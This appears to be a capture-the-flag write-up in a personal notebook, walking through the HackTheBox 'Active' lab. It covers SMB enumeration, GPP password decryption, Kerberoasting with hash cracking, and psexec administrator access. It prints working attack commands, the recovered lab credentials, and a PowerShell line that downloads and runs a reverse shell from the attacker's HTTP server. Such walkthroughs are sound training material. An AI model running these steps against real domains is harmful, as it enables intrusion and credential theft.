💥Cyb3rBook

Search

SearchSearch

ACTIVE

Apr 10, 202520 min read

PRIMARY CATEGORY → EASY

Summary

  • DNS Enumration
  • RPC Enumeration (RPC Endpoints via EMP)
  • LDAP Enumeration via LDAPDomainDump
  • Domain User Enumeration via Kerbrute
  • SMB Enumeration
  • GPP Decryption (Groups.xml’s CPasssword Field) using gpp-decrypt
  • Kerberoasting Attack (SPN Enumeration and TGS Cracking) through GetUserSPNs
  • Reverse Connection stablished via PSExec (Cmd.exe and Powershell.exe)
  • Encoding-Scheme Modification to UTF-16LE and Base64 Encoding

Setup

Directory creation with the Machine’s Name

mkdir Active && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

Active
mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
Active/scans
ping -c1 10.129.135.22

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

Active/scans
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oG allPorts 10.129.135.22

Open Ports → 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5722, 9389, 47001, 49152, 49153, 49154, 49155, 49157, 49158, 49162, 49166 and 49168

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

Active/Scans
extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

Active/Scans
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49166,49168 -sCV -oN targeted 10.129.135.22

First of all, we see in the output of this comprehensive Nmap Scan that there is a domain name associated with the Target IP Address

Let’s add this domain to the /etc/hosts file

printf "%s\t%s" "10.129.135.22" "active.htb" >> /etc/hosts

It looks that this host is a DC (Domain Controller) judging by the ports It has open

As it has the SMB service exposed (139 and 445 Port), let’s extract some general information about the target

Active/scans
netexec smb 10.129.135.22

The Target’s hostname is DC, therefore, we were right before, it is a Domain Controller and the Domain Name is Active.htb

Otherwise, nothing interesting, the SMB is signed and SMBv1 is not enabled

53 - DNS

Let’s see if we can gather some information about the DNS Service running in this port

Active/scans
dig version.bind CHAOS TXT @10.129.135.22 +short

The DNS Server Version is extracted, but we cannot do too much with that tbh since there is no CVE related to that version

Zone Transfer

Try to carry out a Domain Zone Transfer using dig to know some subdomains created within the DNS Zone related to the active.htb domain

Active/scans
dig axfr active.htb @10.129.135.22

As mentioned in the above command output, the DNS Transfer failed, it seems that there is nothing interesting here

Let’s move on to the next!

135 - RPC

We do not have any valid credentials to authenticate with a domain user account, but we can try to use a Null Session (Null Authentication)

If Null Session is enabled, we can extract information via RCP by interacting with the EMP (Endpoint Mapper) and RCP Endpoints via namedpipes or dynamic ports

Let’s try to enumerate the domain user accounts

Active/scans
rpcclient --user '' --no-pass --command 'enumdomusers' active.htb

We cannot interact with the SAMR Service as RCP Endpoint due to an access denied response

Remember that the SMB authentication is carried out before the RPC client interacts with the EMP in the 135 port

In this case, It seems that the SMB Authentication was successful through the Null Session but we dont have enough permissions to interact with that RCP Endpoint

If we try to authenticate with a Guest account, we get in the response that the guest account is disabled

Active/scans
rpcclient --user 'guest%' --command 'enumdomusers' active.htb

Remember that It is not necessary to have any valid domain credentials to enumerate the RCP endpoints availables through the Endpoint Mapper

We can extract them using tools such as rpcdump.py from impacket

389, 636, 3268, 3269 - LDAP

We can try an anonymous login via ldap to list any general information related to the Active Directory Domain

Active/scans
ldapsearch -x -H 'ldap://10.129.135.22' -D '' -w '' -b 'DC=active,DC=htb'

Nothing here either, normally we cannot list anything related to LDAP until we have valid credentials to can authenticate with an existent domain user account

At that point, we can try to use ldapsearch again or switch to ldapdomaindump to get a better overview of the domain

88 - Kerberos

Since we have neither valid credentials nor existing domain user accounts, let’s try to enumerate some of them via Kerberos

We can perform a user enumeration using kerbrute, simply pass as argument a valid User Dictionary to this tool

kerbrute userenum --dc 10.129.135.22 --domain active.htb /usr/share/seclist/Usernames/xato-net-10-million-usernames.txt

Note that this tool send as client a AS_REQ with no Kerberos Pre-Auth to the KDC’s AS. If the KDC responds with Principal Unknown Error, the user does not exist

Otherwise, if the KDC prompts for pre-auth, then we know that the user exists in the domain

If some domain user accounts are found, we can carry out an AS_REPRoast Attack to check if that users have the flag DONT_REQ_PREAUTH enabled

In this case, kerberos pre-authentication is not necessary, so we receive as AS_REP a chunk of data, i.e. the enc-part of the AS-REP that we can try to crack offline

It’s important to know that this chunk of data is encrypted by the KDC using the NTLMv1 Hash of the user account in question. Thefore, if we crack that ciphered object, we will get the User Domain Account’s Password

Just let this scan in the background and continue with the enumeration

139, 445 - SMB

Earlier we have use netexec to perform a basic enumeration about the Target

Let’s list the availables shared folders

Remember that we do not have credentials, therefore, we have to use a Null Session as before

Active/scans
nxc smb active.htb --username '' --password '' --shares

It seems that we only have read permissions on Replication directory

Let’s try listing the same using smbmap to get a different perspective

Active/scans
smbmap -H active.htb -u '' -p ''

Yep, we can confirm that we only have read permissions on that folder

Thus, let’s access to the Replication folder to inspect its content

Active/evidence/data
smbclient //active.htb/Replication --user '' --no-pass

I think it will be better to download all the content locally and get a better overview using a tool such as tree

Therefore, in the SMB Session stablished through smbclient, proceed as follows →

Active/evidence/data
> mask ""
> recurse on
> prompt off
> mget *

An active.htb directory had to be created in the current directory

Just examine it with tree to get a better overview as mentioned before

Remember that there are other ways to list recursively the content of a shared folder, such as the following ones →

  • Netexec Spider Plus Module
Active/evidence/data
nxc smb active.htb --username '' --password '' -M spider_plus --share Replication
  • SMBMap Recursive Listing
Active/evidence/data
smbmap -R -H active.htb -u '' -p ''

We list the following resources inside the Replication downloaded folder

One of them stands out above the other → Groups.xml

This file is generated automatically when a GPP related to an Addition/Update/Deletion of Domain Computers’ Local User Accounts is configured

This can contains juicy information in old versions of Windows Servers →

  • Username Field
  • CPassword Field

The last one stored the Cyphered User Password

Since Microsoft published the Simmetric Ciphering Key used to encrypt that password, anyone can decrypt it, as the key is the same for all Windows Systems

Active/evidence/data
cat ./active.htb/Policies/\{31B2F340-016D-11D2-945F-00C04FB984F9\}/MACHINE/Preferences/Groups/Groups.xml

Username → SVC_TGS

It seems that SVC_TGS is a valid domain user account

We can check it using kerbrute usernum

Active/evidence/data
kerbrute userenum --dc active.htb --domain active.htb <(echo "SVC_TGS")

And It is!

So we can proceed to extract its password decrypting it with the public aes key

Exploitation

GPP Decrypt (Groups.xml)

Therefore, we can extract that password, using a tool such as gpp-decrypt, as follows →

Active/evidence/data
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Passing the CPassword value as argument, the password is extracted in plain text

  • Password → GPPstillStandingStrong2k18

Now, let’s check if this password is correct, knowing that SVC_TGS is an existent username

Active/evidence/data
nxc smb active.htb --username 'active.htb\SVC_TGS' --password 'GPPstillStandingStrong2k18'

And Boom! The credentials are valid

So now we can authenticate as valid usernames agaisnt the Domain Controller

By listing again the shared folders, but this time as the active.htb\KDC_TGS, there are a Users folder that we can access

nxc smb active.htb --username 'active.htb\SVC_TGS' --password 'GPPstillStandingStrong2k18' --shares

It seems that this directory is the same as the Users system directory

Therefore, we can get the content of the user.txt flag

smbclient //active.htb/Users --user 'active.htb\SVC_TGS%GPPstillStandingStrong2k18' --command 'get SVC_TGS\Desktop\user.txt'

Note that we cannot connect to the Domain Controller and get a shell or run any system command

The ports related to WINRM (5985, 5986) are not open, and even if they were, the SVC_TGS User is not part of the Remote Management Users group

We cannot either perform any connection via psexec as this user has not admin privileges to create any service

So, once the above is done, let’s enumerate all the domain user accounts. Note that there are several ways to accomplish it →

LDAP
  • LdapDomainDump
Active/evidence/data/ldapdomaindump
mkdir ldapdomaindump
cd !$ && ldapdomaindump active.htb  --user 'active.htb\SVC_TGS' --password 'GPPstillStandingStrong2k18' --no-json --no-grep
Active/evidence/data/ldapdomaindump
python3 -m http.server 8888

Just access to the Simple HTTP Web Server via the browser and check all the information

RPC

We already have valid credentials, so we can communicate properly with the SAMR RCP Endpoint to list the domain user accounts

Active/evidence/data
rpcclient --user 'active.htb\SVC_TGS%GPPstillStandingStrong2k18' --command 'enumdomusers' active.htb
SMB
Active/evidence/data
nxc smb active.htb --username 'active.htb\SVC_TGS' --password 'GPPstillStandingStrong2k18' --users

Once a list of existent usernames is obtained, we can perform, as mentioned earlier, an AS_REPRoast Attack to check if that domain user accounts dont have the Kerberos Pre-auth enabled

The previous kerbrute scan dit not find nothing except the Administrator Account

So, let’s continue!

AS_REPRoast Attack

We are gonna use this impacket example → GetNPUsers.py

This can be done in two ways →

  • Authenticating directly with a valid domain user account
Active/evidence/data
GetNPUsers.py -dc-ip 10.129.135.22 active.htb/SVC_TGS:GPPstillStandingStrong2k18
  • Specifying a list of existent domain user accounts
Active/evidence/data
GetNPUsers.py -dc-ip 10.129.135.22 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -usersfile users.txt

None of these users have the flag DONT_REQ_PREAUTH enabled

Thus, Kerberos pre-auth is enabled for them and we cannot receive an AS_REP containing an enc-data to try to crack it offline

Kerberoasting Attack

Remember that we already have valid credentials to be able to authenticate as the active.htb\SVC_TGS domain account

This means that we can request to the KDC’s AS a TGT as the above user

The Ticket Granting Ticket allow us to perform certain actions in the domain while authenticated

One of these actions is to request a TGS (Ticket Granting Service) to the KDC’s TGS for one or more SPNs (Service Principal Names)

Since the TGS is encrypted with the NLTMv1 hash of the domain user account related to the service identified by the SPN, we can just crack this ticket to get the plaintext password of this domain account

The tool used to carry out these actions is the following by Impacket → GetUserSPNs.py

SPN Enumeration

First, let’s list the availables Service Principal Names in the domain →

Active/evidence/data
GetUserSPNs.py -dc-ip 10.129.135.22 active.htb/SVC_TGS:GPPstillStandingStrong2k18

Only one SPN is available, but one thing catch my attention

The Domain User Account related to that SPN is the Administrator User, which means that the TGS issued for this service will be encrypted with the NTMLv1 hash of the administrator account 😊

TGS Capture

So, let’s request the TGS to the KDC’s Ticket Granting Service

Active/evidence/data
GetUserSPNs.py -dc-ip 10.129.135.22 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -outputfile hash.kerberoast

A file is generated with a crackeable hash for bruteforce tools such as hashcat or john

TGS Cracking

Let’s crack the generated hash using both hashcat and john

  • Hashcat

You don’t need to specify the Hash Mode related to the input hash to hashcat, as this tool detects it automatically

But, if you want to do it manually, just list the hashcat list with a bunch of example hashes and filter by the one used in this case, i.e. $krb5tgs$23

Active/evidence/data
hashcat --example-hashes | grep --color -iC 15 -- '$krb5tgs$23'

Hash Mode → 13100

Once the Hash mode is detected, simply proceed as follows →

Active/evidence/data
hashcat --hash-type 13100 --attack-mode 0 --force -O --outfile hash.cracked hash.kerberoast /usr/share/wordlists/rockyou.txt

Password → Ticketmaster1968

And Boom! We now have the Administrator’s Password

Shell as Administrator

PSExec

As mentioned earlier, the WINRM ports are not open, so we cannot stablish a connection through evil-winrm to get a shell

Although, since we have the Administrator User’s Credentials, we can use psexec from impacket to execute system commands in the target or get a shell via cmd.exe

Shell access is also possible from a powershell.exe. The terminal hangs up and get stuck when running a powershell from the cmd

But we can just establish a reverse connection through a Reverse Shell using psexec too

Let’s look at both ways to accomplish the same task, which is to gain remote access to the machine as the Administrator User

CMD

Simply proceed as follows →

Active/tools
psexec.py -dc-ip 10.129.135.22 active.htb/Administrator:Ticketmaster1968@active.htb

And Boom! We are in as Administrators

Powershell

First, you need a reverse shell payload in powershell to establish a reverse connection from the target to the attacker

The idea is to use psexec to run a powershell.exe instance that will use Invoke-Expression, aka IEX, to execute as a command the HTTP Response’s Body, which is the reverse shell payload that the attacker is sharing with a Simple HTTP Web Server

Thus, let’s use the Nishang Reverse TCP Oneliner as the payload

Active/tools
curl --silent --request GET --location --output reverse.ps1 "https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcpOneLine.ps1"

We have to modify it setting up our Listener Socket

Active/tools
nvim ./reverse.ps1

Once the above is done, set up a Simple HTTP Server with python3 to share the reverse.ps1

Active/tools
python3 -m http.server 8888

Before executing the command from the target to request the reverse shell, remember to set up the Listening Socket specified in the payload, e.g. using netcat

rlwrap nc -nlvp 443

Then, request the shared resource from the target

psexec.py -dc-ip 10.129.135.22 active.htb/Administrator:Ticketmaster1968@active.htb "powershell.exe -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.34:8888/reverse.ps1')"

And Boom! We are in as Administrators

Graph View

Backlinks